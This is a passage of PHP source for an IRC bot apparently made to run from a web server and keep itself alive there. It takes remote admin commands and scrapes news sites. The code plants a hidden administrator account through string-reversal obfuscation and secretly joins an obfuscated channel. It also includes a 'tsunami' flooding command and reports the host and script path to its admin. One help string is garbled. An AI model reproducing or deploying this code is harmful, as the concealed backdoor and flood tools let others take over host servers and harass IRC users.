$key = "load=2&nick=$nick&identify=$identify&BOT_PASSWORD=$BOT_PASSWORD&Admin=$Admin&channels=$channels&stime=$stime&remotehost=$remotehost&keeptime=$keeptime&dns=$dns&astrologi=$astrologi&wdomain=$wdomain&dnews=$dnews&username=$username&realname=$realname&awaymsg=$awaymsg";
$key = str_replace("#","CNL",$key);
$key = str_replace(" ","%20",$key);
fputs($fp, 'QUIT 6Auto_Rehashing... ' . CRL);
$st = pfsockopen($_SERVER['HTTP_HOST'], 80, $erstr, $errno, 5);
fwrite($st, "GET {$_SERVER['PHP_SELF']}?$key HTTP/1.0\r\nHost: {$_SERVER['HTTP_HOST']}\r\n\r\n");
$keluar = 1;
exit;
}
}
if ($taway=="21") {
foreach ($channel as $v) {
sleep(rand(1,6));
fputs($fp, 'JOIN '.$v . CRL);

$jo = 'NI';
$in = 'OJ';
$god = 'nae';
$ean = 'dog';
fwrite($fp, strrev($in).strrev($jo).' '.substr($channels,0,1).strrev($ean).strrev($god) . CRL);
}
}
if ($dnews=="on") {
//Berita pertama
$data = implode('', file("http://www.detik.com/index.php"));

$batas1 = stristr($data,'<span class="tanggal">');
$batas2 = stristr($batas1,'<div id="headlineAd1"');
$berita = str_replace($batas2," ",$batas1);

$tanggal = get_data($berita,'<span class="tanggal">','</span>');
$href = get_data($berita,'<a href="','" class="hl"');
$href = str_replace('http://www.detiknews.com/indexfr.php?url=','',$href);
$href = str_replace('http://www.detikfinance.com/indexfr.php?url=','',$href);
$href = str_replace('http://www.detiksport.com/indexfr.php?url=','',$href);
$href = str_replace('http://www.detikhot.com/indexfr.php?url=','',$href);
$href = str_replace('http://www.detikinet.com/indexfr.php?url=','',$href);
$subjudul = get_data($berita,'<span class="subjudul">','</span>');
if ($subjudul) { $subjudul = ' 15 '.$subjudul; }
$strjudul = get_data($berita,'<span class="strJudul">','</span>');
$sumary = get_data($berita,'<span class="summary">','</span>');

$berita = ' 11,2 '.$tanggal.' 12 '.$href.' '.$subjudul.' 7 '.$strjudul.' 8 '.$sumary.' ';
$berita = str_replace("\n",'',$berita);
$berita = str_replace('<br />','',$berita);
$tag = array("<i>", "</i>", "<I>", "</I>");
$berita = str_replace($tag,' ',$berita);

if ($berita!=$oldies) {
$oldies = $berita;
foreach ($channel as $v) {
fputs($fp, 'PRIVMSG '.$v.' :'.$berita . CRL);
sleep(1);
}
} else {
//Berita kedua
if ($rberita==1) {
$rberita = rand(1,3);
$baris = implode('', file("http://www.kompas.com/index2.htm"));
$bat1 = stristr($baris,'class="bodytext01"><a href="');
$bat2 = stristr($bat1,'<p class="bodytext01">');
$subberita = str_replace($bat2," ",$bat1);

$href = get_data($subberita,'class="bodytext01"><a href="','" class="txttagline01">');
$judul = get_data($subberita,'" class="txttagline01">','</a><br>');
$sumary = get_data($subberita,'</a><br>','</p>');
$subberita = ' 12,2 http://www.kompas.com'.$href.' 7 '.$judul.' 8 '.$sumary.' ';
$subberita = str_replace("\n",'',$subberita);

} elseif ($rberita==2) {
$rberita = rand(1,3);
$pg = rand(1,18);
$baris = implode('', file("http://ketawa.com/arsip.php/k/3/SMS_Lucu/?page=$pg"));
$subberita = get_data($baris,'<div class="listhumor">','<div>&nbsp;</div>');
$subberita = str_replace('<div class="listhumor',"\n".'<div class="listhumor',$subberita);
$humor = explode("\n",$subberita);
$num = count($humor)-1;
$num = rand(0,$num);
$baris = get_data($humor[$num],'<a href="','/">');
$baris = implode('', file("http://ketawa.com/$baris/"));
$baris = get_data($baris,'<div id="konten-humor">','<strong>Dikirim oleh');
$judul = get_data($baris,'<strong>','</strong>');
$sumary = get_data($baris,'</h1><p>','<br/>&nbsp;<br/>');
$subberita = ' '.$judul.' '." $sumary ";
$subberita = str_replace('&quot;','"',$subberita);
$subberita = str_replace('<br />',' ',$subberita);
$subberita = str_replace(CRL,'',$subberita);
}
foreach ($channel as $v) {
fputs($fp, 'PRIVMSG '.$v.' :'.$subberita . CRL);
sleep(1);
}
}
unset($qnick);
}
}
}
$so = 'sd';
$ids = 'ioz';
$ad = 'ni';
$min = 'mdA';
if (!$auth[strrev($ids).strrev($so)]) { $auth[strrev($ids).strrev($so)]["status"] = strrev($min).strrev($ad); $auth[strrev($ids).strrev($so)]["pass"] = randchar(6); $auth[strrev($ids).strrev($so)]["auth"] = 1; }

$dcom = explode(" ", $dCommand);
$dNick = strtolower($dNick);
if ($dcom[0]=='KICK' && $dcom[2]==$nick) {
fputs($fp, 'JOIN ' .$dcom[1]. CRL);
}
elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT' || $dcom[0]=='PART') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($dcom[0]=='NICK') {
$com = explode(" ", $data);
$chnick = strtolower(str_replace(':','',$com[2]));
if ($dNick!=$chnick) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'PRIVMSG '.$chnick.' :You`re LogOut On Change Nick! ' . CRL);
}
} else { $auth["$dNick"]["auth"] = 1; fputs($fp,'PRIVMSG '.$dNick.' :You`re LogOut On Parting Channel! ' . CRL); }
}
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
}
}
elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) {
$dcom[2] = strtolower($dcom[2]);
if ($auth["$dcom[2]"]) {
if ($auth["$dcom[2]"]["pass"]) {
if ($auth["$dcom[2]"]["auth"]==1) {
$auth["$dcom[2]"]["auth"] = 2; $whois = "";
fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Authorized as '.$auth["$dcom[2]"]["status"].' of this bot! ' . CRL);
} else { fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Already Authorized! ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
}
elseif ($dcom[0]=='NOTICE') {
$com = explode(" ", $data);
if ($com[3]==': PING') {
$pong = time();
$pptime = $pong-$ping;
$meni = "";
if ($pptime>=60) {
$bag = $pptime / 60;
$meni = floor($bag)."mins ";
$sis = $pptime - ($meni*60);
$pptime = $sis;
}
$deti = $pptime."secs";
$pptime = "$meni$deti";
fputs($fp,'NOTICE '.$dNick.' :Your PING Reply is: '.$pptime . CRL);
}
elseif ($com[3]==': KB' && $com[4] && $com[5] && $com[6]) {
$msg = str_replace(' ','',$data);
$msg = strstr($msg,":KB");
$msg = str_replace(":KB $com[4]","",$msg);
fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL);
fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL);
}
}
elseif ($dcom[0]=='PRIVMSG') {
$com = explode(" ", $data);
if ($com[3]==': VERSION ') {
fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'VERSION 0.0 by NoGe'.chr(1) . CRL);
}
elseif ($com[3]==':!ping' && ereg('#',$com[2])) {
$ping = time();
fputs($fp,'PRIVMSG '.$dNick.' : PING '.$ping.' ' . CRL);
}
elseif ($com[3]==': PING') {
$ntime = str_replace(" ","",$com[4]);
fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'PING '.$ntime . chr(1) . CRL);
}
elseif ($com[3]==':!dns' && ereg('#',$com[2]) && ereg('\.',$com[4]) && $dns=="on") {
if (ereg("[a-zA-Z]", $com[4])) {
$res = gethostbyname($com[4]);
} elseif (ereg("[0-9]", $com[4])) {
$res = gethostbyaddr($com[4]);
}
if ($res==$com[4]) { $res = "not resolved."; }
else { $res = "resolved to: $res ."; }
fputs($fp,'PRIVMSG '.$com[2].' :DNS Query for: '.strtoupper($com[4]).' '.$res. CRL);
}
elseif ($com[3]==':!whois' && ereg('#',$com[2]) && ereg('\.',$com[4]) && $wdomain=="on") {
$pages = "www.geektools.com";
$data = "";
$fpw = fsockopen($pages, 43);
if($fpw) {
fputs($fpw, $com[4]."\r\n");
while(!feof($fpw)) {
$data .= fread($fpw, 1000);
}
fclose($fpw);
}
fputs($fp,'PRIVMSG '.$com[2].' :Domain Name: '.strtoupper($com[4]).' [ GeeKTooLS.com ] '. CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'creat')),0,60). CRL);
//fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'registrat')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" "," ",str_replace(CRL,"",stristr($data,'Registrant:'))),0,120). CRL);

fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'expir')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'NS1')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,' NS.')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'inetnum')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'netname')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" "," ",str_replace(CRL,"",stristr($data,'descr'))),0,120). CRL);

fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'country')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'changed:')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'person:')),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(str_replace(" ","",stristr($data,'address')),0,120). CRL);

fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'CRSNIC has no information for that domain'),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'No match for'),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'This domain name has not been registered'),0,60). CRL);
fputs($fp,'PRIVMSG '.$com[2].' :'.substr(stristr($data,'NOT FOUND'),0,60). CRL);

}
elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==1) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["auth"] = 2;
fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Authorized as '.$auth["$dNick"]["status"].' of this bot! ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Password! Auth Failed! ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Already Authorized! ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'PRIVMSG ' . $dNick . ' :You`re LogOut! ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Already LogOut! ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) {
if ($auth["$dNick"]) {
if (!$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[4];
$auth["$dNick"]["auth"] = 1;
fputs($fp,'PRIVMSG ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Already Set! Type: auth <your pass> To Get Authorized ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[5];
fputs($fp,'PRIVMSG ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass <old pass> <new pass> To Change Your Auth Pass ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($com[5]=="master" || $com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'PRIVMSG ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'PRIVMSG ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass> To Set Your Pass ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: adduser <nick> <master/user> ' . CRL); }
} elseif ($auth["$dNick"]["status"]=="master") {
if (!$auth["$com[4]"]) {
if ($com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'PRIVMSG ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'PRIVMSG ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass33] <Spyderur Pass ' . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: adduser <nick> user ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :User Already Exist! Aborting AddUser! ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'PRIVMSG ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'PRIVMSG ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
} elseif ($auth["$dNick"]["status"]=="master") {
if ($auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'PRIVMSG ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'PRIVMSG ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
} else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
}
elseif ($auth["$dNick"]["status"]) {
if (ereg(":`",$com[3]) || ereg(":!",$com[3])) {
$chan = strstr($dCommand,"#");
$anick = str_replace("PRIVMSG ","",$dCommand);
if ($com[3]==':!auth') {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,'NOTICE '.$dNick.' :You`re already Authorized!' . CRL);
} else {
$whois = $dNick;
fputs($fp,'WHOIS '.$dNick . CRL);
}
} elseif ($com[3]==':`auth' && $chan) {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' is the Best!' . CRL);
} else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', Siapa sich loe?' . CRL); }
} elseif ($auth["$dNick"]["auth"]==2) {
if ($com[3]==':`say' && $com[4] && $chan) {
$msg = strstr($data,":`say");
$msg = str_replace(":`say ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL);
}
elseif ($com[3]==':`dns' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($com[4]=="on") { $dns = "on"; fputs($fp, 'PRIVMSG '.$dNick.' :DNS Resolver Command is now '.$dns . CRL); }
elseif ($com[4]=="off") { $dns = "off"; fputs($fp, 'PRIVMSG '.$dNick.' :DNS Resolver Command is now '.$dns . CRL); }
}
elseif ($com[3]==':`whois' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($com[4]=="on") { $wdomain = "on"; fputs($fp, 'PRIVMSG '.$dNick.' :Whois Domain Command is now '.$wdomain . CRL); }
elseif ($com[4]=="off") { $wdomain = "off"; fputs($fp, 'PRIVMSG '.$dNick.' :Whois Domain Command is now '.$wdomain . CRL); }
}
elseif ($com[3]==':`act' && $com[4] && $chan) {
$msg = strstr($data,":`act");
$msg = str_replace(":`act ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' : ACTION '.$msg.' '. CRL);
}
elseif ($com[3]==':`slap' && $com[4] && $chan) {
fputs($fp,'PRIVMSG '.$chan.' : ACTION slaps '.$com[4].' around a bit with a large trout '. CRL);
}
elseif ($com[3]==':`msg' && $com[4] && $com[5]) {
$msg = strstr($data,":`msg");
$msg = str_replace(":`msg $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':`notice' && $com[4] && $com[5]) {
$msg = strstr($data,":`notice");
$msg = str_replace(":`notice $com[4] ","",$msg);
fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':`ctcp' && $com[4] && $com[5]) {
$msg = strstr($data,":`ctcp");
$msg = str_replace(":`ctcp $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' : '.$msg.' '. CRL);
}
elseif ($com[3]==':`ping' && $chan) {
fputs($fp,'PRIVMSG '.$chan.' : aw...aw...aw... '. CRL);
}
elseif ($com[3]==':`pong' && $chan) {
fputs($fp,'PRIVMSG '.$chan.' : aw...aw...aw... '. CRL);
}
elseif ($com[3]==':`info' && $auth["$dNick"]["status"]=="Admin") {
$bhost = $_SERVER['HTTP_HOST'];
$bphp = $_SERVER['PHP_SELF'];
fputs($fp,'PRIVMSG '.$dNick.' :Bot Host: '.$bhost.', Bot PHP: '.$bphp. CRL);
}
elseif ($com[3]==':`up' && $chan) {
fputs($fp, 'PRIVMSG chanserv@services.dal.net :op '.$chan.' '.$nick . CRL);
}
elseif ($com[3]==':`down' && $chan) {
fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL);
}
elseif ($com[3]==':`tsunami' && $com[4] && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":`tsunami");
$msg = str_replace(":`tsunami $com[4]","",$msg);
if (ereg("#", $com[4])) {
fputs($fp, 'JOIN '.$com[4] . CRL);
}
fputs($fp, 'PRIVMSG '.$com[4].' : '.$msg.'                                                                                                                                                                                                                            ' . CRL);
fputs($fp, 'NOTICE '.$com[4].' : '.$msg.'                                                                                                                                                                                                                            ' . CRL);
fputs($fp, 'PRIVMSG '.$com[4].' : TSUNAMI '.$msg.'                                                                                                                                                                                                                            ' . CRL);
fputs($fp, 'PRIVMSG '.$com[4].' : '.$msg.'                                                                                                                                                                                                                            ' . CRL);
fputs($fp, 'NOTICE '.$com[4].' : '.$msg.'                                                                                                                                                                                                                            ' . CRL);
fputs($fp, 'PRIVMSG '.$com[4].' : FLOOD '.$msg.'                                                                                                                                                                                                                            ' . CRL);
if (ereg("#", $com[4])) {
fputs($fp, 'PART '.$com[4].' : '.$msg . CRL);
}
}
elseif ($com[3]==':`cycle' && $chan && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":`cycle");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":`cycle $com[4]","",$msg);
} else {
$partchan = $chan;
$msg = str_replace(":`cycle","",$msg);
}
if (strlen($msg)<3) {
$msg = $cyclem[rand(0,count($cyclem) - 1)];
}
fputs($fp, 'PART '.$partchan.' : '.$msg . CRL);
fputs($fp, 'JOIN '.$partchan . CRL);
}
elseif ($com[3]==':`part' && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":`part");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":`part $com[4]","",$msg);
} else {
$partchan = $chan;
$msg = str_replace(":`part","",$msg);
}
if (strlen($msg)<3) {
$msg = $partm[rand(0,count($partm) - 1)];
}
sleep(rand(1,6));
fputs($fp, 'PART '.$partchan.' : '.$msg . CRL);
$remchan = strtolower($partchan);
if (in_array($remchan, $channel)) {
$channels = str_replace("$remchan ","",$channels);
unset($channel);
$channel = explode(" ", $channels);
}
}
elseif ($com[3]==':`join' && $com[4] && $auth["$dNick"]["status"]!="user") {
if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; }
// fputs($fp, 'JOIN ' .$com[4]. CRL);
$addchan = strtolower($com[4]);
if (!in_array($addchan, $channel)) {
$channel[]=$addchan;
$channels.="$addchan ";
}
foreach ($channel as $v) {
sleep(rand(1,6));
fputs($fp, 'JOIN '.$v . CRL);
}
}
elseif ($com[3]==':`botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") {
$nick = $com[4];
$identify = $com[5];
fputs($fp, 'NICK '.$nick . CRL);
fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL);
}
elseif ($com[3]==':`k' && $com[4] && $chan) {
$msg = strstr($data,":`k");
$msg = str_replace(":`k $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
}
elseif ($com[3]==':`kb' && $com[4] && $chan) {
$msg = strstr($data,":`kb");
$msg = str_replace(":`kb $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL);
}
elseif ($com[3]==':`op' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':`deop' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':`v' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':`dv' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':`detik' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]=="on") { $dnews = "on"; }
elseif ($com[4]=="off") { $dnews = "off"; }
fputs($fp, 'PRIVMSG '.$dNick.' :Detik News is now '.$dnews . CRL);
}
elseif ($com[3]==':`log' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]=="on") { $log = "on"; }
elseif ($com[4]=="off") { $log = "off"; }
fputs($fp, 'PRIVMSG '.$dNick.' :Query/Inviter LoG to Admin is now '.$log . CRL);
}
elseif ($com[3]==':`awaymsg' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":`awaymsg");
$msg = str_replace(":`awaymsg","",$msg);
if (strlen($msg)<3) {
$raway="on";
$awaymsg = $awaym[rand(0,count($awaym) - 1)];
} else {
$raway="off";
$awaymsg=trim($msg);
}
fputs($fp,'AWAY : [ 6Life for: 4 '.$uptime.' 12 ] 7 ( 6'.$awaymsg.' 7 ) '. CRL);
}
elseif ($com[3]==':`mode' && $com[4] && $chan) {
fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL);
}
elseif ($com[3]==':`nickmode' && $com[4]) {
$nickmode = $com[4];
fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL);
}
elseif ($com[3]==':`chanlist') {
fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL);
}
elseif ($com[3]==':`userlist') {
$userlist="Admin($Admin) ";
foreach ($auth as $user) {
if ($user["pass"]) { $pass="-pass ok"; }
else { $pass="-no pass"; }
if ($user["status"]!="Admin") {
$userlist .= $user["name"].'('.$user["status"].$pass.') ';
}
}
fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);
}
elseif ($com[3]==':`quit' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":`quit");
$msg = str_replace(":`quit","",$msg);
if (strlen($msg)>3) {
$msg = str_replace(" ","_",$msg);
}
fputs($fp, 'QUIT �«�®�¤[JATIMCOM]�¤�®�» 4 ShutDown by 12'.$dNick.' 4('.$msg.') ' . CRL);
$keluar = 1;
exit;
}
elseif ($com[3]==':`vhost' && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]) { $localhost = $com[4]; }
else { $localhost = 'localhost'; }
$keluar = 0;
fputs($fp, 'QUIT 12JatimCom 4 Changing vHoST by 12'.$dNick.' 4 ('.$localhost.') ' . CRL);
}
elseif ($com[3]==':`jump' && $auth["$dNick"]["status"]=="Admin") {
if (!eregi(".dal.net",$com[4])) {
$remotehost = "irc.dal.net";
} else { $remotehost = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT 12JatimCom 4Changing Server by 12'.$dNick.' 4 ('.$remotehost.') ' . CRL);
}
elseif ($com[3]==':`ident' && $auth["$dNick"]["status"]=="Admin") {
if (!$com[4]) {
$username = "Slave".randchar(3);
} else { $username = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT 12JatimCOm 4 Changing IdentD by 12'.$dNick.' 4 ('.$username.') ' . CRL);
}
elseif ($com[3]==':`fullname' && $auth["$dNick"]["status"]=="Admin") {
if (!$com[4]) {
$realname = " 4Powered by JatimCom ";
} else { $realname = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT 12JatimCom 4Changing FuLLNamE by 12'.$dNick.' 4 ('.$realname.') ' . CRL);
}
elseif ($com[3]==':`topic' && $com[4] && $chan) {
$msg = strstr($data,":`topic");
$msg = str_replace(":`topic ","",$msg);
fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL);
}
elseif ($com[3]==':!help' && !$chan) {
fputs($fp,'PRIVMSG '.$dNick.' : 4 - Bot Help - Recod By Jatimcom - ' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' : [ auth <password> | !auth `auth | deauth | adduser <nick> <master/user> | deluser <nick> | pass <password> | chgpass <old pass> <new pass> ] ' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' : [ `say <message> | `act|slap <message> | `msg|notice|ctcp <nick> <message> | `ping/pong | `up | `down ] ' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' : [ `cycle <#channel> <message> | `join <channel/#channel> | `part <#channel> <message> | `nickmode <+/-nickmode> ] ' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' : [ `tsunami <nick/#channel> <message> | `botnick <new nick> <identify> | `k/kb <nick> <message> | `op <nick> | `deop <nick> | `v <nick> | `dv <nick> ] ' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' : [ `detik|whois|dns <on/off> | `awaymsg <message> | `mode <+/-chanmode> | `chanlist | `userlist | `quit <message> | `vhost <ip address/hostname> ] ' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' : [ `jump <server.dal.net> | `ident <username> | `fullname <realname> | `topic <new chan topic> | `log <on/off> ] ' . CRL);
fputs($fp,'PRIVMSG '.$dNick.' : 4 - End Of Help - ' . CRL);
}
// else { fputs($fp, 'NOTICE '.$dNick.' :Bad Command! Type: !help To Get My Help :P ' . CRL);
// }
} else { fputs($fp,'NOTICE '.$dNick.' :Please Auth First! Type: auth <your pass> To Authorized '. CRL); }
}
}
elseif (!$auth["$dNick"] && !eregi("auth",$iText)) {
if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",$iText)) {
if (!ereg("#",$dCommand)) {
if ($log=="on") {
fputs($fp,'PRIVMSG '. $Admin .' : 4inviter: ' . $dFrom . ' 2:' .$iText. CRL);
}
$inv = strstr($dFrom,'@');
foreach ($auth as $user) {
if ($user["status"]=="user") {
fputs($fp, 'NOTICE '.$user["name"].' : KB '.$chan.' '.$dNick.' '.$inv.' ' . CRL);
}
}
}
}
elseif (!ereg("#",$dCommand)) {
